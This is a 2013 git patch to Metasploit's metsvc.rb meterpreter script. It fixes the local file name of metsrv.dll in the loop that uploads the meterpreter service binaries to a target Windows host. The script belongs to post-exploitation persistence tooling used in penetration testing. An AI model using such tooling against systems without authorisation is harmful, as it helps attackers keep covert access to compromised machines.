From 0c59c885c4b3802c4e150709b7029087318d3388 Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 28 Nov 2013 11:48:11 +1000 Subject: [PATCH] Fix metsrv.dll name issue As mentioned here https://community.rapid7.com/thread/3788 the metsvc script was still looking for the old file name for metsrv.dll, which was causing the script to fail. This commit fixes this issue. A hash is used to indicate local and remote file names so that the remote can continue to use metsrv.dll, but it is correctly located on disk locally. --- scripts/meterpreter/metsvc.rb | 20 +++++++++++++++----- 1 file changed, 15 insertions(+), 5 deletions(-) diff --git a/scripts/meterpreter/metsvc.rb b/scripts/meterpreter/metsvc.rb index 8ed0b7d542..1e668389e2 100644 --- a/scripts/meterpreter/metsvc.rb +++ b/scripts/meterpreter/metsvc.rb @@ -70,11 +70,21 @@ if client.platform =~ /win32|win64/ print_status("Creating a temporary installation directory #{tempdir}...") client.fs.dir.mkdir(tempdir) - %W{ metsrv.dll metsvc-server.exe metsvc.exe }.each do |bin| - next if (bin != "metsvc.exe" and remove) - print_status(" >> Uploading #{bin}...") - fd = client.fs.file.new(tempdir + "\\" + bin, "wb") - fd.write(::File.read(File.join(based, bin), ::File.size(::File.join(based, bin)))) + # Use an array of `from -> to` associations so that things + # such as metsrv can be copied from the appropriate location + # but named correctly on the target. + bins = { + 'metsrv.x86.dll' => 'metsrv.dll', + 'metsvc-server.exe' => nil, + 'metsvc.exe' => nil + } + + bins.each do |from, to| + next if (from != "metsvc.exe" and remove) + to ||= from + print_status(" >> Uploading #{from}...") + fd = client.fs.file.new(tempdir + "\\" + to, "wb") + fd.write(::File.read(File.join(based, from), ::File.size(::File.join(based, from)))) fd.close end